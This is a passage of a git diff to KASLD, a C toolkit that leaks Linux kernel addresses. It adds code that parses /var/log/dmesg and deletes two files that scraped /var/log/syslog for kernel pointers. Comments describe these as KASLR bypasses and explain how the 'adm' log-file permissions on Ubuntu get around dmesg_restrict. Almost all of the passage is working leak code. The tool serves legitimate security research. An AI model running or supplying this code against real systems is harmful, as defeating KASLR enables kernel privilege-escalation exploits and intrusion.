+ + if (f == NULL) { + perror("[-] fopen"); + return 0; + } + + while ((getline(&line, &size, f)) != -1) { + text_buf = strstr(line, needle); + if (text_buf == NULL) + continue; + + addr_buf = strtok(text_buf, "\n"); + if (addr_buf == NULL) + continue; + + // printf("%s\n", addr_buf); + + ptr = strtok(addr_buf, " "); + while ((ptr = strtok(NULL, " ")) != NULL) { + addr = strtoul(&ptr[0], &endptr, 16); + + if (addr && addr <= KERNEL_VAS_END) + break; + + addr = 0; + } + } + + fclose(f); + + return addr; +} + int main() { - unsigned long addr = search_dmesg_mem_init_kernel_text(); + unsigned long addr; + + addr = search_dmesg_mem_init_kernel_text(); + + if (!addr) + addr = search_dmesg_log_file_mem_init_kernel_text(); + if (addr) { printf("kernel text start: %lx\n", addr); printf("possible kernel base: %lx\n", addr & -KERNEL_ALIGN); } addr = search_dmesg_mem_init_lowmem(); + + if (!addr) + addr = search_dmesg_log_file_mem_init_lowmem(); + if (addr) { printf("kernel lowmem start: %lx\n", addr); if (addr < (unsigned long)KERNEL_VAS_START) diff --git a/src/dmesg_mmu_idmap.c b/src/dmesg_mmu_idmap.c index cfc2ecd..a5b5def 100644 --- a/src/dmesg_mmu_idmap.c +++ b/src/dmesg_mmu_idmap.c @@ -10,7 +10,8 @@ // // Requires: // - CONFIG_MMU=y -// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities. +// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or +// readable /var/log/dmesg. // // References: // https://elixir.bootlin.com/linux/v5.15.11/source/arch/arm/mm/idmap.c#L89 @@ -38,7 +39,6 @@ unsigned long search_dmesg_mmu_idmap() { char *endptr; char *substr; int size; - const char delim[] = " "; const char *needle = " static identity map for "; unsigned long addr = 0; @@ -55,8 +55,8 @@ unsigned long search_dmesg_mmu_idmap() { if (addr_buf == NULL) return 0; - ptr = strtok(addr_buf, delim); - while ((ptr = strtok(NULL, delim)) != NULL) { + ptr = strtok(addr_buf, " "); + while ((ptr = strtok(NULL, " ")) != NULL) { addr = strtoul(&ptr[0], &endptr, 16); if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX) @@ -68,8 +68,53 @@ unsigned long search_dmesg_mmu_idmap() { return addr; } +unsigned long search_dmesg_log_file_mmu_idmap() { + FILE *f; + char *endptr; + char *line = 0; + char *ptr; + char *addr_buf; + size_t size = 0; + const char *path = "/var/log/dmesg"; + const char *needle = " static identity map for "; + unsigned long addr = 0; + + printf("[.] searching %s for '%s' ...\n", path, needle); + + f = fopen(path, "rb"); + + if (f == NULL) { + perror("[-] fopen"); + return 0; + } + + while ((getline(&line, &size, f)) != -1) { + addr_buf = strstr(line, needle); + + if (addr_buf == NULL) + continue; + + ptr = strtok(addr_buf, " "); + while ((ptr = strtok(NULL, " ")) != NULL) { + addr = strtoul(&ptr[0], &endptr, 16); + + if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX) + break; + + addr = 0; + } + } + + fclose(f); + + return addr; +} + int main() { unsigned long addr = search_dmesg_mmu_idmap(); + if (!addr) + addr = search_dmesg_log_file_mmu_idmap(); + if (!addr) return 1; diff --git a/src/include/syslog.h b/src/include/syslog.h index c642c7d..8a2e09a 100644 --- a/src/include/syslog.h +++ b/src/include/syslog.h @@ -1,6 +1,6 @@ // This file is part of KASLD - https://github.com/bcoles/kasld // -// Syslog/dmesg helper functions. +// Kernel message ring buffer syslog/dmesg helper functions. // --- // @@ -15,6 +15,10 @@ #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 +/* mmap entire kernel message ring buffer into +buffer+. + * Copied from exploit code by xairy: + * https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c + */ int mmap_syslog(char **buffer, int *size) { *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if (*size == -1) { diff --git a/src/mmap-brute-vmsplit.c b/src/mmap-brute-vmsplit.c index 48a1c9c..bcc489a 100644 --- a/src/mmap-brute-vmsplit.c +++ b/src/mmap-brute-vmsplit.c @@ -25,7 +25,7 @@ unsigned long find_kernel_address_space_start(void) { unsigned long i; - printf("[.] searching for kernel virtual address space start ...\n"); + printf("[.] searching 32-bit address space for kernel virtual address space start ...\n"); for (i = 0x10000000; i < 0xf0000000; i += 0x10000000) { if (mmap((void *)i, 0x1000, PROT_READ, diff --git a/src/syslog_backtrace.c b/src/syslog_backtrace.c deleted file mode 100644 index 9707748..0000000 --- a/src/syslog_backtrace.c +++ /dev/null @@ -1,80 +0,0 @@ -// This file is part of KASLD - https://github.com/bcoles/kasld -// -// Search system log files for call traces and return the lowest -// address that looks like a kernel pointer. -// -// On Ubuntu systems, `kernel.dmesg_restrict` can be bypassed by -// users in the `adm` group, due to file read permissions on log -// files in `/var/log/`. -// -// $ ls -la /var/log/syslog /var/log/kern.log -// -rw-r----- 1 syslog adm 1916625 Dec 31 04:24 /var/log/kern.log -// -rw-r----- 1 syslog adm 1115029 Dec 31 04:24 /var/log/syslog -// -// Requires: -// - read permissions for /var/log/syslog* -// - kernel.panic_on_oops = 0 (Default on most systems). -// --- -// - -#define _GNU_SOURCE -#include "kasld.h" -#include -#include -#include -#include -#include -#include - -unsigned long search_syslog_file_kernel_pointers() { - FILE *f; - char *ptr; - char *endptr; - char *line = 0; - size_t size = 0; - // We could also try /var/log/syslog.1 and /var/log/syslog.*.gz - // but older log files will include log entries from previous boots. - const char *path = "/var/log/syslog"; - unsigned long leaked_addr = 0; - unsigned long addr = 0; - - printf("[.] searching %s for call trace kernel pointers ...\n", path); - - f = fopen(path, "rb"); - - if (f == NULL) { - perror("[-] fopen"); - return 0; - } - - while ((getline(&line, &size, f)) != -1) { - ptr = strtok(&line[0], "[<"); - while ((ptr = strtok(NULL, "[<")) != NULL) { - leaked_addr = strtoul(&ptr[0], &endptr, 16); - - if (!leaked_addr) - continue; - - if (leaked_addr >= KERNEL_BASE_MIN && leaked_addr <= KERNEL_BASE_MAX) { - // printf("Found kernel pointer: %lx\n", leaked_addr); - if (!addr || leaked_addr < addr) - addr = leaked_addr; - } - } - } - - fclose(f); - - return addr; -} - -int main() { - unsigned long addr = search_syslog_file_kernel_pointers(); - if (!addr) - return 1; - - printf("lowest leaked address: %lx\n", addr); - printf("possible kernel base: %lx\n", addr & -KERNEL_ALIGN); - - return 0; -} diff --git a/src/syslog_free_reserved_area.c b/src/syslog_free_reserved_area.c deleted file mode 100644 index ec713b2..0000000 --- a/src/syslog_free_reserved_area.c +++ /dev/null @@ -1,86 +0,0 @@ -// This file is part of KASLD - https://github.com/bcoles/kasld -// -// free_reserved_area() syslog KASLR bypass for SMP kernels. -// -// On Ubuntu systems, `kernel.dmesg_restrict` can be bypassed by -// users in the `adm` group, due to file read permissions on log -// files in `/var/log/`. -// -// $ ls -la /var/log/syslog /var/log/kern.log -// -rw-r----- 1 syslog adm 1916625 Dec 31 04:24 /var/log/kern.log -// -rw-r----- 1 syslog adm 1115029 Dec 31 04:24 /var/log/syslog -// -// free_reserved_area() leak was removed in kernel v4.10-rc1 on 2016-10-26: -// https://github.com/torvalds/linux/commit/adb1fe9ae2ee6ef6bc10f3d5a588020e7664dfa7 -// -// Mostly taken from original code by xairy: -// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c -// --- -// - -#define _GNU_SOURCE -#include "kasld.h" -#include -#include -#include -#include -#include -#include -#include -#include - -unsigned long get_kernel_addr_syslog_free_reserved_area() { - FILE *f; - char *endptr; - char *substr; - char *addr_buf; - char *line_buf; - const char *path = "/var/log/syslog"; - const char *needle = "Freeing unused kernel memory"; - unsigned long addr = 0; - char buff[BUFSIZ]; - - printf("[.] searching %s for free_reserved_area() info ...\n", path); - - f = fopen(path, "rb"); - if (f == NULL) { - perror("[-] fopen"); - return 0; - } - - while ((fgets(buff, BUFSIZ, f)) != NULL) { - substr = strstr(buff, needle); - if (substr == NULL) - continue; - - line_buf = strtok(substr, "\n"); - if (line_buf == NULL) - return 0; - - addr_buf = strstr(line_buf, "("); - if (addr_buf == NULL) - return 0; - - addr = strtoul(&addr_buf[1], &endptr, 16); - - if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX) - break; - - addr = 0; - } - - fclose(f); - - return addr; -} - -int main() { - unsigned long addr = get_kernel_addr_syslog_free_reserved_area(); - if (!addr) - return 1; - - printf("leaked __init_begin: %lx\n", addr); - printf("possible kernel base: %lx\n", addr & -KERNEL_ALIGN); - - return 0; -}